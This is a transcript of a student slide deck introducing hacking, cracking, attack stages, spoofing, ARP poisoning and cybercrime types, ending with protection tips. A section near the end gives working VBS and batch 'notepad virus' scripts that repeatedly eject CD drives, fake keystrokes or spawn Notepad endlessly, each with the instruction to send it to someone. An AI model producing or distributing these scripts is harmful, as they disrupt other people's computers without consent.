Introduction of hacking and cracking
-
Upload
harshil-barot -
Category
Technology
-
view
1.360 -
download
0
Transcript of Introduction of hacking and cracking
Introduction of Hacking and
Cracking
Prepared By :- Harshil Barot
Department Of Computer
Science,H.N.G.University,Patan,Gujarat.(In
dia)
WHAT IS HACKING ?
Hacking is the act of penetrating a closed computer
system for the knowledge and information that is
contained within. Through the study of technology
and computers a hacker can open his mind and
expand his knowledge.
LEVELS OF HACKERS
•High-level hackers
High-level hackers are sophisticated users with large knowledge of
technology.
•Low-level hackers
Low-level hackers are “Foot Soldiers” who marks programs with little
understanding of how they worked. Unfortunately hackers also gain the access
of CERT (Computer Emergency Response Time).
Hacker is someone with deep understanding of computers and/or
networking. Art of hacking can be with positive or negative intensions
WHO IS HACKER?
HACKER IS NOT CYBER CRIMINAL BUT HE
IS THE VERY INTELLIGENT PERSON WHO IS
USE HIS KNOWLEDGE IN CONSTRUCTIVE
MANNER TO SECURE SYSTEM & NEVER
DAMAGE DATA
HE KNOW ALL ABOUT THE OPERATING
SYSTEM & DIFFERENT HOLES IN THE
SYSTEM
WHO IS CRACKER?
PERSON WHO ENTER INTO OTHER’S SYSTEM AND VIOLET THE SYSTEM,DAMAGE THE DATA,CREATE HAVOC IS CALLED CRACKER
CRACKER IS CYBER CRIMINAL
THEY CAN BE EASILY IDENTIFIED BECAUSE THEIR ACTIONS ARE MALICIOUS
1 . Hacking - showing computer expertise.
Unauthorized use of computer and network resources
2 . Cracking - breaking security on software or systems
3 . Phreaking - cracking telecom networks(Telephone
Hacking)
4 . Spoofing(Phishing) - faking the originating IP address
in a datagram
History Of Hacking :- 1969 - Unix ‘hacked’ together
1971 - Cap ‘n Crunch phone exploit discovered
1988 - Morris Internet worm crashes 6,000 servers
1994 - $10 million transferred from CitiBank accounts
1995 - Kevin Mitnick sentenced to 5 years in jail
2000 - Major websites succumb to DDoS( distributed denial-of-service)
2000 - 15,700 credit and debit card numbers stolen from Western Union (hacked while web database was undergoing maintenance)
2001 Code Red
◦ exploited bug in MS IIS to penetrate & spread
◦ probes random IPs for systems running IIS
◦ had trigger time for denial-of-service attack
◦ 2nd wave infected 360000 servers in 14 hours
Code Red 2 - had backdoor installed to allow remote control
Nimda -used multiple infection mechanisms email, shares, web client, IIS 2002 – Slammer Worm brings web to its knees by attacking MS SQL
Server
Types Of Hacker1.White Hat hacker :- breaks security for security perpose2.Black hat Hacker : -break security for unauthorised use3.Grey hat hacker :- Com. of white hat and black hat.
They may offer to repaire the system.4.Blue Hat hacker :- someone outside computer security who use the system5.script kiddie :- Mostly student. Use tools created by black hats
THE PROCESS OF HACKING
Some common steps that hackers have to follow r as follows :-
•Footprinting
Before the real fun begins for hackers, the three essentials steps must be
performed. Firstly , the hackers creates a profile of the company’s security posture. This is known as footprinting .
Scanning
The second step is that of scanning in which the hacker tests each target system
to see if it is alive or not.•Enumeration
Next, the hacker will try to identify valid user accounts and poorly protected
resource shares, using enumeration process.
•Gaining Access
For target systems running Windows, hackers can guess passwords for
enumerated user names, using an automatic tool and a list of passwords to try, and can be successful if a strong password policy is not followed and account
lockouts r not implemented .
•Tracks Covered
Tracks can be disabled and then enabled by clearing the event log.•Backdoors
There is a keystroke logger , which is between the OS and keyboard hardware and
records every keystroke. On tracing its output hackers can easily identify what
steps have done before and thus can identify the username and password
Why do hackers hack?
JUST FOR FUN
SHOW OFF
HACK OTHER SYSTEMS SECRETLY
NOTIFY MANY PEOPLE THEIR THOUGHT
STEAL IMPORTANT INFORMATION
DESTROY ENEMY’S COMPUTER NETWORK DURING THE
WAR
What do hackers do after hacking? (2)
INSTALL IRC RELATED PROGRAM
identd, irc, bitchx, eggdrop, bnc
INSTALL SCANNER PROGRAM
mscan, sscan, nmap
INSTALL EXPLOIT PROGRAM
INSTALL DENIAL OF SERVICE PROGRAM
USE ALL OF INSTALLED PROGRAMS SILENTLY
What do hackers know?
DON’T KNOW HOW TO USE VI
DON’T KNOW WHAT UNIX IS
DON’T KNOW WHAT THEY DO
KNOW HOW TO INTRUDE THE SYSTEM
KNOW HOW TO CRASH THE SYSTEM
KNOW WHERE THE HACKING
PROGRAMS ARE
How can kid hack?
KID HAS MUCH OF TIME
Kid can search for longer time than other
people
ALL HACKING PROGRAM IS EASY TO
USE
KID DOESN’T HAVE TO KNOW HOW
THE HACKING PROGRAM WORKS
THESE KIDS ARE CALLED SCRIPT
KIDDIES
How can be a real hacker?
STUDY C/C++/ASSEMBLY LANGUAGE
STUDY COMPUTER ARCHITECTURE
STUDY OPERATING SYSTEM
STUDY COMPUTER NETWORK
EXAMINE THE HACKING TOOLS FOR A MONTH
THINK THE PROBLEM OF THE COMPUTER
Why can’t defend against hackers?
THERE ARE MANY UNKNOWN SECURITY HOLE
HACKERS NEED TO KNOW ONLY ONE
SECURITY HOLE TO HACK THE SYSTEM
ADMIN NEED TO KNOW ALL SECURITY HOLES
TO DEFEND THE SYSTEM
What should do after hacked?
SHUTDOWN THE SYSTEM
Or turn off the system
SEPARATE THE SYSTEM FROM NETWORK
RESTORE THE SYSTEM WITH THE BACKUP
Or reinstall all programs
CONNECT THE SYSTEM TO THE NETWORK
IT CAN BE GOOD TO CALL THE POLICE
How to translate the hackers’ language (1)
1 -> i or l3 -> e4 -> a7 -> t9 -> g0 -> o$ -> s| -> i or l
|\| -> n
|\/| -> m
s -> z
z -> s
f -> ph
ph -> f
x -> ck
ck -> x
How to translate the hackers’
language (2) Ex)
◦ 1 d1d n0t h4ck th1s p4g3, 1t w4s l1k3 th1s
wh3n 1 h4ck3d 1n
◦ I did not hack this page, it was like this when I
hacked in
Protect your Computers!
Use anti-virus software and firewalls - keep them up to date
Keep your operating system up to date with critical security updates and patches
Don't open emails or attachments from unknown sources
Use hard-to-guess passwords. Don’t use words found in a dictionary. Remember that password cracking tools exist
Back-up your computer data on disks or CDs often
Don't share access to your computers with strangers
If you have a wi-fi network, password protect it
Disconnect from the Internet when not in use
Reevaluate your security on a regular basis
Make sure your employees and family members know this info too!
Over the Internet
Over LAN
Locally
Offline
Theft
Deception
Modes of Hacker Attack
Because they can
◦ A large fraction of hacker attacks have been pranks
Financial Gain
Espionage
Venting anger at a company or organization
Terrorism
Why do Hackers Attack?
Active Attacks
◦ Denial of Service
◦ Breaking into a site
Intelligence Gathering
Resource Usage
Deception
Passive Attacks
◦ Sniffing
Passwords
Network Traffic
Sensitive Information
◦ Information Gathering
Types of Hacker Attack
Definition:
An attacker alters his identity so that some one thinks he
is some one else
◦ Email, User ID, IP Address, …
◦ Attacker exploits trust relation between user and
networked machines to gain access to machines
Types of Spoofing:
1. IP Spoofing:
2. Email Spoofing
3. Web Spoofing
Spoofing
A hacker can exploit a weak passwords & uncontrolled network modems easily
Steps
◦ Hacker gets the phone number of a company
◦ Hacker runs war dialer program
If original number is 555-5532 he runs all numbers in the 555-55xx range
When modem answers he records the phone number of modem
◦ Hacker now needs a user id and password to enter company network Companies often have default accounts e.g. temp, anonymous with no
password
Often the root account uses company name as the password
For strong passwords password cracking techniques exist
Password Attacks
Password Attacks
Two kinds: Password Guessing and Password Cracking
Password Guessing: Attempt to guess the password for a particular user ID. This process is rarely successful, time consuming, and generates a lot of network traffic. Also, some accounts are locked out after a set number of unsuccessful guesses. Many password-guessing tools can be found at Packet Site:
Common scenarios in Cyber Crime
Unauthorized access: This occurs when a user/hacker deliberately gets access
into someone else’s network either to monitor or data destruction purposes
Denial of service attack: It involves sending of disproportionate demands or
data to the victims server beyond the limit that the server is capable to handle and
hence causes the server to crash
Virus, Worms and Trojan attacks: Viruses are basically programs that are
attached to a file which then gets circulated to other files and gradually to other
computers in the network. Worms unlike Viruses do not need a host for
attachments they make copies of themselves and do this repeatedly hence eating
up all the memory of the computer. Trojans are unauthorized programs which
functions from inside what seems to be an authorized program, thereby concealing
what it is actually doing.
Email Bombing It refers to sending a large number of emails to
the victim resulting in the victim's email account (in case of an
individual) or mail servers (in case of a company or an email service
provider) crashing
Internet Time Thefts This connotes the usage by an
unauthorized person of the Internet hours paid for by another.
Web Jacking This occurs when someone forcefully takes control of a website (by
cracking the password and later changing it). The actual owner of the website does
not have any more control over what appears on that website
Theft and Physical damage of computer or its peripherals This type of
offence involves the theft of a computer, some parts of a computer or a peripheral
attached to the computer. and physically damaging a computer or its peripherals
Think before you Click
IP ADDRESS
IP ADDRESS IS THE ADDRESS OF YOUR
COMPUTER IN THE INTERNET
IT IS UNIQ
LIKE 192.168.23.45
Passive Sniffing
login:
devesh
passwd:
india123
SNIFFER
In Hub Networks
ARP Cache Poisoning
IP -> 192.168.51.36
MAC -> 00:00:00:BB:BB:BB
Internal ARP Cache
192.168.51.35 – 00:00:00:CC:CC:CC
System B
IP -> 192.168.51.35
MAC -> 00:00:00:AA:AA:AA
Internal ARP Cache
192.168.51.36 – 00:00:00:CC:CC:CC
System A
IP -> 192.168.51.37
MAC -> 00:00:00:CC:CC:CCInternal ARP Cache
192.168.51.36 – 00:00:00:BB:BB:BB
192.168.51.35 – 00:00:00:AA:AA:AA
Attacker
192.168.51.36 is at
00:00:00:CC:CC:CC 192.168.51.35 is at
00:00:00:CC:CC:CC
Knowing IP addresses
IP address is a
unique web address
for each computer
connected to
internet
Knowing this is
essential before
anything else
Symptoms
Targeted Pop-ups
Slow Connection
Targeted E-Mail (Spam)
Unauthorized Access
Spam Relaying
System Crash
Program Customisation
SPYWARE
SPYWARE / TROJAN
SPYWARE
TROJAN HORSE
TROJAN HORSE
SPYWARE/ TROJAN
SPYWARE
32
Small Notepad Virus :-
More Notepad Viruses
1)Continually pop out your friend's CD Drive.
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as "Anything.VBS" and send it.
Hack Computer keyboard and make him type “Keyboard not working"
simultaneously:
Set wshShell =
wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys“Keyboard not working"
loop
Save it as "Anything.VBS" and send it.
Open Notepad continually in your computer
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save it as “Anything.BAT" and send it.
LIST OF SITES THAT WERE HACKED
•-Monmouth Army Base --- http://www.monmouth.army.mil/
•-US Army --- http://www4.army.mil/
•-The Jerry Springer Show --- http://www.jerryspringer.com/
•-Symantec Corporation --- http://www.symantec.com/
•-U.S. Department of Commerce Institute for Telecommunication
Sciences --- http://elbert.its.bldrdoc.gov/
•-Technical University of Denmark --- http://lanpc11.ilf.dtu.dk
•Illinois Natural History Survey --- http://nuclear.hazard.uiuc.edu
• Monica Lewinsky's site ---http://www.monicalewinsky.com/
•Phoenix Data Systems ---http://www.phoenixds.at/
•Ruchi Group ---http://www.ruchigroup.com/
•Concept Reseau ---http://www.concept-reseau.fr/
•Wayne University US Department ---http://www.us.wayne.edu/